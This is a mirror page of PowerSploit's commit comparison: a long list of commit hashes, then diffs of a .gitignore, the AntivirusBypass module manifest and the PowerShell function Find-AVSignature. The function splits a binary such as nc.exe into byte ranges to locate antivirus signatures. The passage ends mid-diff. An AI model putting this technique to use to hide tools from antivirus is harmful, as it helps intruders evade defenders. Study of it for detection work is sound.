mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
Compare commits
459 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d943001a7d | |||
| f94a5d298a | |||
| be932ce2be | |||
| 398b0f2246 | |||
| 50e18ef8ab | |||
| f6e6c09b8b | |||
| c5eb994f84 | |||
| fe7746f030 | |||
| 35452ce62f | |||
| a4a3ae5492 | |||
| 428d9061a4 | |||
| e24d64224b | |||
| 41cef58b75 | |||
| 1864095c2e | |||
| fcc35ac7e7 | |||
| 0a894991dc | |||
| 6eb3c6f281 | |||
| bf652bcd26 | |||
| 3d0d32d9ee | |||
| 1950a169e3 | |||
| b038f09ceb | |||
| d5c0abc9fa | |||
| 7a3e16ace5 | |||
| 41cad0ee9f | |||
| 0bbf86e021 | |||
| fc43eb8cb7 | |||
| e47c52a090 | |||
| b895866c3b | |||
| 872f711e3d | |||
| 7dc41b6fe4 | |||
| 7e4d7ee298 | |||
| d0e4e270f1 | |||
| 035166385e | |||
| 1bfe3a2715 | |||
| 6889a8efab | |||
| d9e9231755 | |||
| 783bff3cc0 | |||
| 30c5177e92 | |||
| 786793c298 | |||
| 0e2daae1b4 | |||
| 67891871f6 | |||
| d12e1516f8 | |||
| a78474aa5c | |||
| 52289768a9 | |||
| f8d2a3474b | |||
| f9b95c5cf2 | |||
| 6a71a6e526 | |||
| 226c1c1cce | |||
| 2501e8e912 | |||
| 095988269b | |||
| 27747f982c | |||
| fc04f97ecf | |||
| 9f4e32e0f3 | |||
| 92e17e5331 | |||
| cfc0b647b1 | |||
| 97382c215d | |||
| 0bbc9db5ab | |||
| cb14cf11ab | |||
| 834a80fef3 | |||
| 08b30627d9 | |||
| f2a9cb2ecc | |||
| bd6fe64316 | |||
| c8cee6455a | |||
| 445f7b2510 | |||
| 6927a26940 | |||
| bda533d6d7 | |||
| 454e04005d | |||
| ea60b0e0a4 | |||
| 510cba8bcd | |||
| 1dd560b371 | |||
| 8a2e1daaa3 | |||
| fa1baa64a8 | |||
| d4166f80d4 | |||
| 6c113b7956 | |||
| e08432954e | |||
| ce19ebd9ed | |||
| 9ea5c5b7f5 | |||
| e4b1930daa | |||
| aecb0b57a4 | |||
| 215ec25da0 | |||
| 3f7a32d623 | |||
| 8552033242 | |||
| 5500a7e131 | |||
| d1060930c7 | |||
| 94438eda67 | |||
| 1118f53dc2 | |||
| 96ae5e3f61 | |||
| 1916464092 | |||
| 9853900578 | |||
| 831dde1268 | |||
| 601ad0cf3f | |||
| ad32d6c75b | |||
| 59e6f94e76 | |||
| 9ed26d65a8 | |||
| cf444398ca | |||
| a81faf36a4 | |||
| 1980f403ee | |||
| 7cdaa3c2d6 | |||
| 85b374c05b | |||
| 07ccc07fc6 | |||
| 7964823e3f | |||
| 5da1774219 | |||
| f00e3fc6c4 | |||
| f4f5fb1460 | |||
| 813eab4a39 | |||
| b78f164440 | |||
| 9033f2f544 | |||
| fb90773639 | |||
| e956bf440f | |||
| 0aaa23cd86 | |||
| 7f10db7827 | |||
| 6aca12a956 | |||
| 32bd21e335 | |||
| 7c32bf69f3 | |||
| eae4695b13 | |||
| c7985c9bc3 | |||
| 863699d97e | |||
| 031a7561c6 | |||
| 0939af5bb2 | |||
| 422cd612f6 | |||
| aa528b98c7 | |||
| 76447005f9 | |||
| 7b49e54eec | |||
| 2403654410 | |||
| 26a891b499 | |||
| 67dab8651c | |||
| 520bf436ce | |||
| b3e742a94e | |||
| de955ef270 | |||
| 926979ad1a | |||
| a70bbe6164 | |||
| 8c9c7c84fe | |||
| 8e41548e65 | |||
| 5ac6c919dd | |||
| 5e2200bab7 | |||
| 01a289e972 | |||
| 432cc017ba | |||
| 917a095a81 | |||
| 462c6e83cb | |||
| 9b365e82b1 | |||
| fda456338f | |||
| 869badc7f1 | |||
| 87630cac63 | |||
| 0cff698b35 | |||
| 038adce56e | |||
| b74e515198 | |||
| 66c93f9317 | |||
| fee3b4c642 | |||
| 8d46d02099 | |||
| e6391254d1 | |||
| 28d118f987 | |||
| 548b8864cf | |||
| 9596f68274 | |||
| 9d2b9d7631 | |||
| 325cc849d7 | |||
| 5a05a024b6 | |||
| 81ac124f22 | |||
| 3049211f53 | |||
| cd1e10b8fd | |||
| ac42eb8a69 | |||
| 8dea905998 | |||
| 3585c9b4ac | |||
| 7dfbb059e1 | |||
| 4b40e8609c | |||
| 31c2290d5e | |||
| 9cd0955c5d | |||
| 0f2bd1d7f3 | |||
| 8270743fb1 | |||
| c53cd87d8f | |||
| b5172c2bef | |||
| d37ec66c79 | |||
| 5d7fe6b100 | |||
| b6306a0d8c | |||
| da86d76adb | |||
| 5f8d8b0a10 | |||
| f6ee5cb92e | |||
| 5cbe3bac10 | |||
| e83cfae798 | |||
| 4915945292 | |||
| 1b359e7875 | |||
| 83d1413acd | |||
| 1f926e7fd6 | |||
| 09d253f070 | |||
| 9711069b7e | |||
| 8083c1e1bb | |||
| 3c209ee6b3 | |||
| a1ba3876b1 | |||
| ecc96be81a | |||
| 5660218b38 | |||
| 5b94a98dbd | |||
| 848f7d31ce | |||
| 235dec56ae | |||
| 262a260865 | |||
| 6b0ada999a | |||
| 83305c5243 | |||
| c30c682797 | |||
| d0b21c0848 | |||
| df2f92899a | |||
| b568271d57 | |||
| 2e6c9392c9 | |||
| 666246362f | |||
| c89f0b9969 | |||
| 7d3f0066ec | |||
| 56824c1799 | |||
| 3e936765f5 | |||
| eec3704f40 | |||
| debe4a565e | |||
| 30324b7c5e | |||
| 7b4becfe72 | |||
| 31ed96d161 | |||
| 9f7906280d | |||
| 6ada127538 | |||
| 6a39c26b06 | |||
| 0cedaf6142 | |||
| 26cef85d35 | |||
| fbf6f30833 | |||
| 1f90c29429 | |||
| 68c446b9b9 | |||
| 75a37a0f17 | |||
| 4cedfa1c30 | |||
| c52f9d712c | |||
| 7ed5343431 | |||
| a6564f4483 | |||
| 69a2cd1e33 | |||
| c8ff194089 | |||
| 785f4757bd | |||
| 6daaef2706 | |||
| 84b8e1da9a | |||
| 37389e9658 | |||
| 26a0757612 | |||
| 13adf516d5 | |||
| 6a17f759ab | |||
| dee094a993 | |||
| dedd805eaa | |||
| be2a8ecf15 | |||
| f305e31cf5 | |||
| 2e1d49db33 | |||
| 625705781e | |||
| 2e0197603c | |||
| 236b16430c | |||
| e029509889 | |||
| a87453eeca | |||
| c883dabf77 | |||
| 1c664758ce | |||
| b4891eb371 | |||
| 661b11ed3c | |||
| 26ca1a922e | |||
| 46e12414e8 | |||
| 4aea2f12f9 | |||
| 6de1d78af8 | |||
| eae5eef91f | |||
| 2e6b301170 | |||
| aea2eacd2d | |||
| 1832e324e9 | |||
| 43c4c69b38 | |||
| 3f1dd34500 | |||
| cde9447c5f | |||
| 9cc65e4a85 | |||
| 75548931ba | |||
| 4ffd3084e4 | |||
| 414daa60b8 | |||
| 759bd481ae | |||
| e83e97d672 | |||
| 2a813faedb | |||
| 96ad796da8 | |||
| 5f13c7b4de | |||
| d133db696a | |||
| ef887af9d6 | |||
| f66e219bd6 | |||
| 872d4b0eb7 | |||
| bc7efdf229 | |||
| ed60b51f0a | |||
| f645f61607 | |||
| 2343f43e7c | |||
| 841150e1c6 | |||
| 9e771d15bf | |||
| 9f183e3651 | |||
| 29ae830b73 | |||
| 26e0b29e67 | |||
| 2a8da712b6 | |||
| 52c46b1d3a | |||
| 98ebc1b0b8 | |||
| 55098d59e9 | |||
| c2a70924e1 | |||
| b01a8127bc | |||
| 70f25c90e2 | |||
| 1cdad586c8 | |||
| f5d9b25275 | |||
| ef37a138b8 | |||
| 9a2dfad3de | |||
| fdcdeab702 | |||
| fef09e6cc1 | |||
| f70c63f9d5 | |||
| f6e032c3b1 | |||
| 924103aa01 | |||
| e144be7f29 | |||
| 55fabd7e2e | |||
| dae9d91fdb | |||
| 0181ff0c09 | |||
| 00af1656b2 | |||
| ce3b21685a | |||
| 9ffc26af70 | |||
| 5690b09027 | |||
| e2993b63aa | |||
| a235313996 | |||
| 7f6d3a4565 | |||
| 93a71b037c | |||
| a336562b70 | |||
| a0b95c36b4 | |||
| e44df184a8 | |||
| c143dc6885 | |||
| 8ab8c49a0d | |||
| 5fb690518d | |||
| 729e9ca267 | |||
| 62bb142a68 | |||
| c03965c8f9 | |||
| a78b40429e | |||
| a0ab599810 | |||
| aae81ddfe5 | |||
| 992f980022 | |||
| b8e831e4f9 | |||
| 0eb520e31f | |||
| 17bfa4e276 | |||
| 18b7a10f89 | |||
| 641eff706e | |||
| d1145e0540 | |||
| 81b57738ab | |||
| 5065810c07 | |||
| d0fff7b637 | |||
| 12ce71b9f4 | |||
| 2dd1f5920d | |||
| 5a812ce823 | |||
| e179b2e932 | |||
| 17dd6835b9 | |||
| 9f78286ea7 | |||
| 235af294ae | |||
| 03ed2adb56 | |||
| 5ce61e40f5 | |||
| c29f9b4743 | |||
| 25934d4719 | |||
| 2153a0a0b0 | |||
| 0045054ab0 | |||
| 5b1a7750c0 | |||
| 130d970c2c | |||
| 8b6f759d12 | |||
| 2e7dc43edb | |||
| 142afad54e | |||
| 59b35d1470 | |||
| a574705ce2 | |||
| 93bc214659 | |||
| b0cdb2b754 | |||
| 90a05de7a6 | |||
| dc1a5e519f | |||
| 956e4c968a | |||
| 97034006f6 | |||
| 4daac216c8 | |||
| 0ca33b0347 | |||
| ba02a11687 | |||
| 9d412f0d6a | |||
| 6df4cf971b | |||
| 258c760c61 | |||
| 2e00756b59 | |||
| 36e1e29987 | |||
| 03b8d5c6b4 | |||
| b43429dd3c | |||
| 225fbfbc86 | |||
| 8c2411ccf3 | |||
| dc3cab2c9f | |||
| 29a5d48c3f | |||
| 80ffa19fa3 | |||
| 3444a0700e | |||
| 890247deec | |||
| 4567547d6d | |||
| 6e56d40662 | |||
| 67ed1d71b4 | |||
| 794f55a82b | |||
| 193b005357 | |||
| 364dde11e1 | |||
| 22f984c3f1 | |||
| d085c5b1d7 | |||
| f03ab1444d | |||
| b783b459c1 | |||
| 47b90647c1 | |||
| 946328cf9e | |||
| 5fabddcf1d | |||
| 202e8f4b36 | |||
| 1798918edf | |||
| 49c9f04533 | |||
| 77bcb336e0 | |||
| b450a70dbf | |||
| 1df850208e | |||
| bbd382e52a | |||
| 28790b5a08 | |||
| 3047ccfe32 | |||
| 7ee66855f3 | |||
| 22572d6e7d | |||
| 770fe8ff10 | |||
| 313d80373c | |||
| 261aaf6302 | |||
| 24fc1b6b6c | |||
| 308042f493 | |||
| 22f0c1b13a | |||
| 331d54eeaf | |||
| b684da050a | |||
| 92fcfdc384 | |||
| c5168cdba6 | |||
| d9ca5357e4 | |||
| 14780a5678 | |||
| 7c51e9331b | |||
| 22cbc47642 | |||
| 7f0267db7c | |||
| 3d564121d7 | |||
| 5fede76351 | |||
| 4f5faf672f | |||
| bb41ab98ca | |||
| 5bca2c3087 | |||
| c3cea2fb61 | |||
| 9f41edcf82 | |||
| 206fb70a0c | |||
| 7009f92ef3 | |||
| 7157507d99 | |||
| 46baff5ef2 | |||
| 7de1dd6df7 | |||
| 1503375bfb | |||
| 237d362acf | |||
| 306a84fe81 | |||
| 5b4b9924d5 | |||
| 20f0a5cd96 | |||
| 5af0589e8f | |||
| 22f232920b | |||
| 8af97c6e24 | |||
| 7a6e8a0f20 | |||
| c4cd73a9cf | |||
| a40e79da93 | |||
| 1e4dc7b49f | |||
| 05cbdab96e | |||
| 8c13faaf51 | |||
| cf64b10d5c | |||
| 70e5b8375b | |||
| 9fbb4ec3c3 | |||
| 404d2480ba | |||
| 54971370cf | |||
| 737fd832e0 | |||
| babad35dae | |||
| a6c0c940bf | |||
| 50c6fad88e | |||
| d269eec01d | |||
| 511b682620 | |||
| 70a3a43f24 | |||
| 6ad050fe7a | |||
| 59cd183607 | |||
| b17272eb98 | |||
| 23850a6337 | |||
| 1291abdae3 | |||
| ec39ee2113 | |||
| e62121ea27 | |||
| 65cd074eaf | |||
| 5e1f6ac29a | |||
| 6807da424f |
+214
@@ -0,0 +1,214 @@
|
||||
#################
|
||||
## Eclipse
|
||||
#################
|
||||
|
||||
*.pydevproject
|
||||
.project
|
||||
.metadata
|
||||
bin/
|
||||
tmp/
|
||||
*.tmp
|
||||
*.bak
|
||||
*.swp
|
||||
*~.nib
|
||||
local.properties
|
||||
.classpath
|
||||
.settings/
|
||||
.loadpath
|
||||
|
||||
# External tool builders
|
||||
.externalToolBuilders/
|
||||
|
||||
# Locally stored "Eclipse launch configurations"
|
||||
*.launch
|
||||
|
||||
# CDT-specific
|
||||
.cproject
|
||||
|
||||
# PDT-specific
|
||||
.buildpath
|
||||
|
||||
|
||||
#################
|
||||
## Visual Studio
|
||||
#################
|
||||
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
|
||||
# User-specific files
|
||||
*.suo
|
||||
*.user
|
||||
*.sln.docstates
|
||||
|
||||
# Build results
|
||||
|
||||
[Dd]ebug/
|
||||
[Rr]elease/
|
||||
build/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
*_i.c
|
||||
*_p.c
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.log
|
||||
*.scc
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# NCrunch
|
||||
*.ncrunch*
|
||||
.*crunch*.local.xml
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.Publish.xml
|
||||
*.pubxml
|
||||
|
||||
# NuGet Packages Directory
|
||||
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
|
||||
#packages/
|
||||
|
||||
# Windows Azure Build Output
|
||||
csx
|
||||
*.build.csdef
|
||||
|
||||
# Windows Store app package directory
|
||||
AppPackages/
|
||||
|
||||
# Others
|
||||
sql/
|
||||
*.Cache
|
||||
ClientBin/
|
||||
[Ss]tyle[Cc]op.*
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.[Pp]ublish.xml
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file to a newer
|
||||
# Visual Studio version. Backup files are not needed, because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
|
||||
# SQL Server files
|
||||
App_Data/*.mdf
|
||||
App_Data/*.ldf
|
||||
|
||||
#############
|
||||
## Windows detritus
|
||||
#############
|
||||
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Mac crap
|
||||
.DS_Store
|
||||
|
||||
|
||||
#############
|
||||
## Python
|
||||
#############
|
||||
|
||||
*.py[co]
|
||||
|
||||
# Packages
|
||||
*.egg
|
||||
*.egg-info
|
||||
dist/
|
||||
build/
|
||||
eggs/
|
||||
parts/
|
||||
var/
|
||||
sdist/
|
||||
develop-eggs/
|
||||
.installed.cfg
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
.coverage
|
||||
.tox
|
||||
|
||||
#Translations
|
||||
*.mo
|
||||
|
||||
#Mr Developer
|
||||
.mr.developer.cfg
|
||||
@@ -1,10 +1,10 @@
|
||||
@{
|
||||
@{
|
||||
|
||||
# Script module or binary module file associated with this manifest.
|
||||
ModuleToProcess = 'AntivirusBypass.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '1.0.0.0'
|
||||
ModuleVersion = '3.0.0.0'
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
|
||||
@@ -12,9 +12,6 @@ GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
|
||||
# Author of this module
|
||||
Author = 'Matthew Graeber'
|
||||
|
||||
# Company or vendor of this module
|
||||
CompanyName = ''
|
||||
|
||||
# Copyright statement for this module
|
||||
Copyright = 'BSD 3-Clause'
|
||||
|
||||
@@ -24,64 +21,10 @@ Description = 'PowerSploit Antivirus Avoidance/Bypass Module'
|
||||
# Minimum version of the Windows PowerShell engine required by this module
|
||||
PowerShellVersion = '2.0'
|
||||
|
||||
# Name of the Windows PowerShell host required by this module
|
||||
# PowerShellHostName = ''
|
||||
|
||||
# Minimum version of the Windows PowerShell host required by this module
|
||||
# PowerShellHostVersion = ''
|
||||
|
||||
# Minimum version of the .NET Framework required by this module
|
||||
# DotNetFrameworkVersion = ''
|
||||
|
||||
# Minimum version of the common language runtime (CLR) required by this module
|
||||
# CLRVersion = ''
|
||||
|
||||
# Processor architecture (None, X86, Amd64) required by this module
|
||||
# ProcessorArchitecture = ''
|
||||
|
||||
# Modules that must be imported into the global environment prior to importing this module
|
||||
# RequiredModules = @()
|
||||
|
||||
# Assemblies that must be loaded prior to importing this module
|
||||
# RequiredAssemblies = @()
|
||||
|
||||
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
|
||||
# ScriptsToProcess = ''
|
||||
|
||||
# Type files (.ps1xml) to be loaded when importing this module
|
||||
# TypesToProcess = @()
|
||||
|
||||
# Format files (.ps1xml) to be loaded when importing this module
|
||||
# FormatsToProcess = @()
|
||||
|
||||
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
|
||||
# NestedModules = @()
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = '*'
|
||||
|
||||
# Cmdlets to export from this module
|
||||
CmdletsToExport = '*'
|
||||
|
||||
# Variables to export from this module
|
||||
VariablesToExport = ''
|
||||
|
||||
# Aliases to export from this module
|
||||
AliasesToExport = ''
|
||||
|
||||
# List of all modules packaged with this module.
|
||||
ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'})
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md'
|
||||
|
||||
# Private data to pass to the module specified in RootModule/ModuleToProcess
|
||||
# PrivateData = ''
|
||||
|
||||
# HelpInfo URI of this module
|
||||
# HelpInfoURI = ''
|
||||
|
||||
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
|
||||
# DefaultCommandPrefix = ''
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1 +1 @@
|
||||
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||
|
||||
@@ -5,11 +5,11 @@ function Find-AVSignature
|
||||
|
||||
Locate tiny AV signatures.
|
||||
|
||||
PowerSploit Function: Find-AVSignature
|
||||
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
PowerSploit Function: Find-AVSignature
|
||||
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
@@ -37,19 +37,19 @@ Optionally specifies the directory to write the binaries to.
|
||||
|
||||
.PARAMETER BufferLen
|
||||
|
||||
Specifies the length of the file read buffer . Defaults to 64KB.
|
||||
Specifies the length of the file read buffer . Defaults to 64KB.
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Forces the script to continue without confirmation.
|
||||
Forces the script to continue without confirmation.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
|
||||
PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
|
||||
PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
|
||||
PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
|
||||
PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
|
||||
Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
|
||||
Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
|
||||
Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
|
||||
Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
|
||||
Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
|
||||
|
||||
.NOTES
|
||||
|
||||
@@ -63,10 +63,12 @@ http://www.exploit-monday.com/
|
||||
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param(
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory = $True)]
|
||||
[ValidateRange(0,4294967295)]
|
||||
[UInt32]
|
||||
[UInt32]
|
||||
$StartByte,
|
||||
|
||||
[Parameter(Mandatory = $True)]
|
||||
@@ -75,23 +77,21 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
|
||||
|
||||
[Parameter(Mandatory = $True)]
|
||||
[ValidateRange(0,4294967295)]
|
||||
[UInt32]
|
||||
[UInt32]
|
||||
$Interval,
|
||||
|
||||
[String]
|
||||
[ValidateScript({Test-Path $_ })]
|
||||
[ValidateScript({Test-Path $_ })]
|
||||
$Path = ($pwd.path),
|
||||
|
||||
[String]
|
||||
$OutPath = ($pwd),
|
||||
|
||||
|
||||
[ValidateRange(1,2097152)]
|
||||
[UInt32]
|
||||
$BufferLen = 65536,
|
||||
|
||||
|
||||
[ValidateRange(1,2097152)]
|
||||
[UInt32]
|
||||
$BufferLen = 65536,
|
||||
|
||||
[Switch] $Force
|
||||
|
||||
)
|
||||
|
||||
#test variables
|
||||
@@ -99,88 +99,88 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
|
||||
$Response = $True
|
||||
if (!(Test-Path $OutPath)) {
|
||||
if ($Force -or ($Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory}
|
||||
}
|
||||
}
|
||||
if (!$Response) {Throw "Output path not found"}
|
||||
if (!(Get-ChildItem $Path).Exists) {Throw "File not found"}
|
||||
[Int32] $FileSize = (Get-ChildItem $Path).Length
|
||||
if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"}
|
||||
[Int32] $MaximumByte = (($FileSize) - 1)
|
||||
if ($EndByte -ceq "max") {$EndByte = $MaximumByte}
|
||||
|
||||
#Recast $Endbyte into an Integer so that it can be compared properly.
|
||||
[Int32]$EndByte = $EndByte
|
||||
|
||||
#If $Endbyte is greater than the file Length, use $MaximumByte.
|
||||
if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte}
|
||||
|
||||
#If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte.
|
||||
if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval}
|
||||
|
||||
Write-Verbose "StartByte: $StartByte"
|
||||
Write-Verbose "EndByte: $EndByte"
|
||||
|
||||
#Recast $Endbyte into an Integer so that it can be compared properly.
|
||||
[Int32]$EndByte = $EndByte
|
||||
|
||||
#If $Endbyte is greater than the file Length, use $MaximumByte.
|
||||
if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte}
|
||||
|
||||
#If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte.
|
||||
if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval}
|
||||
|
||||
Write-Verbose "StartByte: $StartByte"
|
||||
Write-Verbose "EndByte: $EndByte"
|
||||
|
||||
#find the filename for the output name
|
||||
[String] $FileName = (Split-Path $Path -leaf).Split('.')[0]
|
||||
|
||||
#Calculate the number of binaries
|
||||
[Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval)
|
||||
if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)}
|
||||
|
||||
|
||||
#Prompt user to verify parameters to avoid writing binaries to the wrong directory
|
||||
$Response = $True
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!",
|
||||
"Do you want to continue?"))){}
|
||||
if (!$Response) {Return}
|
||||
|
||||
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
|
||||
|
||||
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
|
||||
[Int32] $Number = [Math]::Floor($Endbyte/$Interval)
|
||||
|
||||
#Create a Read Buffer and Stream.
|
||||
#Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc.
|
||||
[Byte[]] $ReadBuffer=New-Object byte[] $BufferLen
|
||||
[System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen)
|
||||
|
||||
#write out the calculated number of binaries
|
||||
[Int32] $i = 0
|
||||
for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++)
|
||||
{
|
||||
# If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval
|
||||
if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte}
|
||||
else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))}
|
||||
|
||||
Write-Verbose "Byte 0 -> $($SplitByte)"
|
||||
|
||||
#Reset ReadStream to beginning of file
|
||||
$ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
|
||||
|
||||
#Build a new FileStream for Writing
|
||||
[String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin"
|
||||
[System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen)
|
||||
|
||||
[Int32] $BytesLeft = $SplitByte
|
||||
Write-Verbose "$($WriteStream.name)"
|
||||
|
||||
#Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer
|
||||
while ($BytesLeft -gt $BufferLen){
|
||||
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen)
|
||||
$WriteStream.Write($ReadBuffer, 0, $count)
|
||||
$BytesLeft = $BytesLeft - $count
|
||||
}
|
||||
|
||||
#Write the remaining bytes to the file
|
||||
do {
|
||||
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft)
|
||||
$WriteStream.Write($ReadBuffer, 0, $count)
|
||||
$BytesLeft = $BytesLeft - $count
|
||||
}
|
||||
until ($BytesLeft -eq 0)
|
||||
$WriteStream.Close()
|
||||
$WriteStream.Dispose()
|
||||
|
||||
#Create a Read Buffer and Stream.
|
||||
#Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc.
|
||||
[Byte[]] $ReadBuffer=New-Object byte[] $BufferLen
|
||||
[System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen)
|
||||
|
||||
#write out the calculated number of binaries
|
||||
